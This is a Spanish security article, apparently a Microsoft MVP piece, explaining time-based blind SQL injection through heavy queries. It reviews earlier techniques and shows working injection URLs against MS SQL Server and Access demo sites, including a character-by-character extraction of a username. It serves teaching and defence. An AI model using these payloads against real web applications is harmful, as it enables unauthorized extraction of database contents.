Por Chema Alonso, MVP de Seguridad de Microsoft.
Vea otro Artículo del Mes del MVP de Seguridad.
Este artículo describe como los atacantes cobran ventaja de las vulnerabilidades de la Inyección del SQL a ciegas por tiempo con consultas pesadas. Nuestro objetivo consiste en remarcar la necesidad de establecer las mejores prácticas de desarrollo de la seguridad para las aplicaciones web en vez de sólo confiar en la seguridad provista por el perímetro de defensas. Este articulo muestra ejemplos de explotación para los motores de bases de datos de los servidores del Microsoft SQL server y Microsoft Access, pero la técnica actual es extensible en su aplicación a cualquier otro producto de base de datos existente en el mercado.
Las primeras referencias sobre los “ataques a ciegas” pueden ser encontradas en el informe de Chris Anely de junio de 2002 “(More) Advanced SQL Injection” [1] en el cual dirige la atención a la posibilidad de crear tales ataques, y en este caso especifico, por tiempo, siendo uno de los menos comunes. Chris brinda algunos ejemplos de técnicas de inyección de SQL a ciegas:
<<•••••• if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'
…es posible determinar si un trozo dado en un serie es ‘1’ o ‘0’. Es decir, la consulta anterior entrará en pausa por cinco segundos si el '@bit' del byte '@byte' en una serie '@s' es '1.'
Por ejemplo en la siguiente consulta:
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5'
Entrará en pausa por cinco segundos si el primer bit del primer byte del nombre de la base de datos actual es 1.
Tal y como muestran estos ejemplos, la información es extraída de las bases de datos utilizando un parámetro vulnerable. El código es luego inyectado para generar un retardo en el tiempo de respuesta cuando la condición es verdadera.
Luego de esta primera referencia, las técnicas de inyección de SQL a ciegas continuaron siendo estudiadas con la mayoría de las técnicas que generan mensajes de error del sistema de ataque, debido a la simpleza, la rápida ejecución y la extensión en la muestra del mensaje de error en contraposición al retardo en la base de datos. Un año después, en setiembre del 2003, Ofer Maor y Amichai Shulman publicaron el documento “Blindfolded SQL Injection” [2]. En este analizan las diferentes formas de identificación de un parámetro vulnerable en el sistema de inyección del SQL, aun cuando la información procesada y devuelta por el sistema no sea visible.
En la Conferencia de BlackHat del 2004, Cameron Hotchkies presentó el documento “Blind SQL Injection Automation Techniques” [3]. Propuso métodos alternativos para automatizar la explotación de un parámetro vulnerable de Inyección de SQL a ciegas, utilizando las herramientas acostumbradas. Sugirió además tres tipos de soluciones diferentes para la automatización: (1) la búsqueda de palabras clave para los resultados positivos y negativos; (2) el uso de firmas MD5 para discriminar entre resultados negativos y positivos; (3) y el utilizar un motor de diferencias textuales. También introdujo el Squeal, una herramienta automátizada para obtener información a través de la Inyección del SQL a ciegas que luego evolucionó, transformándose en otra herramienta llamada Absinthe [4].
En setiembre de 2005, David Litchfield publicó el artículo “Data Mining with SQL Injection and Inference” [5], donde trata las técnicas de interferencia por tiempo, y propuso dos formas de obtener tiempos de retardo utilizando llamadas para guardar procedimientos, como xp_cmdshell en el servidor MS SQL Server para rastrear un paquete.
xp_cmdshell ‘ping –n 10 127.0.0.1’ → aplicación en pausa durante 10 segundos.
Las técnicas por tiempo pueden ser extensibles a cualquier acción llevada a cabo para guardar procedimientos y capaz de generar tiempos de retardo o cualquier otra acción medible.
En diciembre de 2006, Ronald van den Heetkamp publicó la “SQL Injection Cheat Sheet” [6], incluyendo los trucos de inyección del SQL a ciegas para MySQL con algunos ejemplos basados en la función Benchmark que puede generar tiempos de retardo. Por ejemplo:
SELECT BENCHMARK(10000000,ENCODE('abc','123')); [around 5 sec]
SELECT BENCHMARK(1000000,MD5(CHAR(116))) [ around 7 sec]
Ejemplo: SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login
Una explotación reciente [7], publicada en junio de 2007 en http://www.milw0rm.com (un sitio web dedicado a las explotaciones y seguridad) muestra como esta técnica puede ser utilizada para atacar un servidor de juegos llamado Solar Empire:
¡$sql="F***You'),(1,2,3,4,5,(SELECT IF (ASCII (SUBSTRING(se_games.admin_pw, ".$j.", 1)) =".$i.") & 1, benchmark(200000000,CHAR(0)),0) FROM se_games))/*";
Tal y como indican los estudios de las técnicas de Inyección del SQL a ciegas por tiempos, las mismas avanzan y mejoran, y por lo tanto algunas nuevas herramientas han sido creadas, tales como la SQL Ninja [8], que utiliza el método de Wait-for (espera) para los motores del servidor de Microsoft SQL Server o el SQL PowerInjector[9], que implementa el método de Wait-for (espera) para los motores de la base de datos del servidor del Microsoft SQL Server, las funciones de Benchmark para los motores MySQL, y una extensión del método Wait-for (espera) para los motores Oracle, utilizando llamadas a métodos DBMS_LOCK.
Considerando los métodos descritos arriba, podemos ver que para tener acceso a los procedimientos guardados del servidor Microsoft SQL y Oracle se necesita poder generar tiempos de retardo utilizando llamadas de métodos Wait-for (espera) y DBMS_LOCK. Sin embargo, esto no es necesario para los motores MySQL, porque en este caso una función matemática es utilizada para generar el tiempo de retardo. Algunos sistemas de detención de intrusos o IDS (por su sigla en inglés Intrusion Detection Systems) y aplicaciones Cortafuegos (Firewalls) tienen la capacidad de bloquear las URLs que usan funciones del tipo Benchmark.
La pregunta es: Si el uso de los procedimientos guardados y las funciones Benchmark es cancelado, ¿podríamos generar un método de inyección de SQL a ciegas por tiempo?
La respuesta es Sí. La explotación de la inyección del SQL a ciegas tan sólo puede ser evitada utilizando la técnica de programación adecuada, o, tal y como Michael Howard lo explicaría mejor “una entrada es un mal hasta que se pruebe lo contrario.”
Una forma fácil de generar tiempos de retardo es cobrar ventaja de uno de los problemas más grandes de las bases de datos que ha hecho necesario el desarrollo de técnicas de puesta a punto de la ejecución del sistema: las consultas pesadas. Todo lo que se precisa para generar un tiempo de retardo es acceder a un cuadro que tenga algunos registros y construir una buena consulta para forzar al motor a trabajar. En otras palabras, necesitamos construir una consulta ignorando lo que recomiendan las mejores prácticas de ejecución.
En este ejemplo, tenemos una URL con una vulnerabilidad en la inyección SQL que puede ser explotada sólo a través de una inyección SQL a ciegas por tiempos. Esto significa que no existe mensaje de error producido por el sistema, y que siempre obtenemos la misma respuesta (a veces porque una consulta es correcta y otras porque el programador ha codificado aquel valor por defecto).

Figura 1: Estado de Error. El programador vuelve al valor por defecto -> Resultado 1
Ejemplo 1: Servidor de Microsoft SQL. Explotación con consultas pesadas:
http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers)

Figura 2:Resultado Positivo. La condición es verdadera, y la respuesta muestra un retardo de 14 segundos.
Como se puede ver en la figura 2, la consulta comenzó a las 23:49:11 y terminó a las 23:49:25 -- 14 segundos. Este retardo es causado por una tercera condición en la cláusula “where”; si es VERDADERA, entonces “300>(select top 1 ascii(substring(name,1,1)) from sysusers)” es VERDADERO. En realidad sabemos que el valor de ASCII de la primera letra del nombre de usuario en el cuadro sysusers es menor que 300.

Figura 3: Resultado Negativo. Retardo de respuesta de un segundo.
Tal y como podemos ver en la figura 3, la consulta comienza a las 00:00:28 y finaliza a las 00:00:29 – un segundo. Este retardo es causado por una tercera condición en la cláusula “where”; si es FALSA, entonces “0>(select top 1 ascii(substring(name,1,1)) from sysusers)” es FALSO. En realidad sabemos que el valor ASCII de la primera letra del nombre de usuario en el cuadro de sysusers es mayor que 0.
Con estas dos consultas podemos acceder a toda la información guardada en la basa de datos midiendo el tiempo. La idea principal es que cuando la tercera condición en la consulta sea FALSA, el motor de la base de datos dejará de procesar la segunda condición con un valor FALSO en la consulta con operadores “and”, el resultado será entonces FALSO. Por lo tanto, el motor de la base de datos no tiene que procesar la consulta pesada (segunda opción). Es decir, si queremos saber el valor exacto del nombre de usuario guardado, tenemos que mover el índice y medir el tiempo de respuesta:
http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers) → 14 seconds → TRUE
http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 0>(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second → FALSE
http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 150>(select top 1 ascii(substring(name,1,1)) from sysusers) → 14 seconds → TRUE
http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 75>(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second → FALSE
http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 100>(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second → FALSE
http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 110>(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second → FALSE
http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 120>(select top 1 ascii(substring(name,1,1)) from sysusers) → 14 seconds → TRUE
http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 115>(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second → FALSE
http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 118>(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second → FALSE
http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 119>(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second → FALSE
Then the result is ASCII(119)=’w’
Y luego comenzamos con la segunda letra:
http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 150>(select top 1 ascii(substring(name,1,1)) from sysusers) → ?
Ejemplo 2: Microsoft Access. Utilizando el cuadro de MSysAccessObjects.
http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and (SELECT count(*) FROM MSysAccessObjects A 20T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10)>0 and exists (select * from contrasena)

Figura 4: Resultado Negativo. Tiempo de retardo de un segundo.

La figura 5: Resultado positivo. Tiempo de respuesta de cinco segundos.
En este ejemplo, puede ver una consulta pesada para las bases de datos de Microsoft Access con un retardo de seis segundos. Un atacante puede extraer toda la información utilizando el mismo método mostrado en el ejemplo del server del Microsoft SQL y utilizar esta consulta pesada como una segunda condición en la cláusula “where” para retardar la respuesta.
Tomando en consideración los métodos analizados anteriormente, podemos ver que para acceder a los procedimientos guardados para los Servidores Microsoft SQL y Oracle es necesario poder generar tiempos de retardo utilizando los métodos de espera (Wait-for) y DBMS_LOCK. Sin embargo, esto no es necesario para los motores MySQL, porque en este caso una función matemática es utilizada para generar el tiempo de retardo. Algunos aplicaciones de IDS (por su sigla en ingles Intrusion Detection Systems) o Sistemas de Detección de Intrusos y Cortafuegos (Firewall) tienen la habilidad de bloquear las URLs que utilizan funciones del tipo Benchmark.
La información que se presenta en este artículo fue extraída de la Tesis de Doctorado que Chema Alonso (MVP de Seguridad de Microsoft Windows, Ingeniero de Sistemas, Universidad del Rey Juan Carlos) se encuentra realizando en la actualidad bajo la dirección del Dr. Antonio Guzmán (Doctor en Ingeniería de Sistemas, Universidad del Rey Juan Carlos) y la Dra. Marta Beltran (Doctora en Ingeniería de Sistemas de la Universidad del Rey Juan Carlos).
El Señor Daniel Kachakil (Ingeniero de Sistemas y Master en Ingeniería de Sistemas, Universidad Politécnica of Valencia) y el Sr. Rodolfo Bordón (Consultor en Seguridad de Sistemas y Técnico Especialista en Sistemas) han también contribuido con el presente artículo, brindando asistencia con los test del tiempo de respuesta en diferentes entornos.
[1] “(more) Advanced SQL Injection” por Chris Anley, NGS Software
URL: http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
[2] “Blindfolded SQL Injection” por Ofer Maor and Amichai Shulman, Imperva
URL: http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
[3] “Blind SQL Injection Automation Techniques” por Cameron Hotchkies, BlackHat Conferences
URL: https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf
[4] “Absinthe” por Cameron Hotchkies, 0x90.
URL: http://www.0x90.org/releases/absinthe/download.php
[5] “Data Mining with SQL Injection and Inference” por David Litchfield, NGS Software
URL: http://www.ngssoftware.com/research/papers/sqlinference.pdf
[6] “SQL Injection Cheat Sheet” por Ronald van den Heetkamp, 0x000000
URL: http://www.0x000000.com/?i=14&bin=1110
[7] “ Solar Empire Exploit” por Blackhawk. Milw0rm.
URL: http://www.milw0rm.com/exploits/4078
[8] “…a SQL Server Injection & takeover tool… ” por icesurfer, SQLNinja
URL: http://sqlninja.sourceforge.net
[9] “SQL PowerInjector” por Francois Larouche, SQL PowerInjector
URL: http://www.sqlpowerinjector.com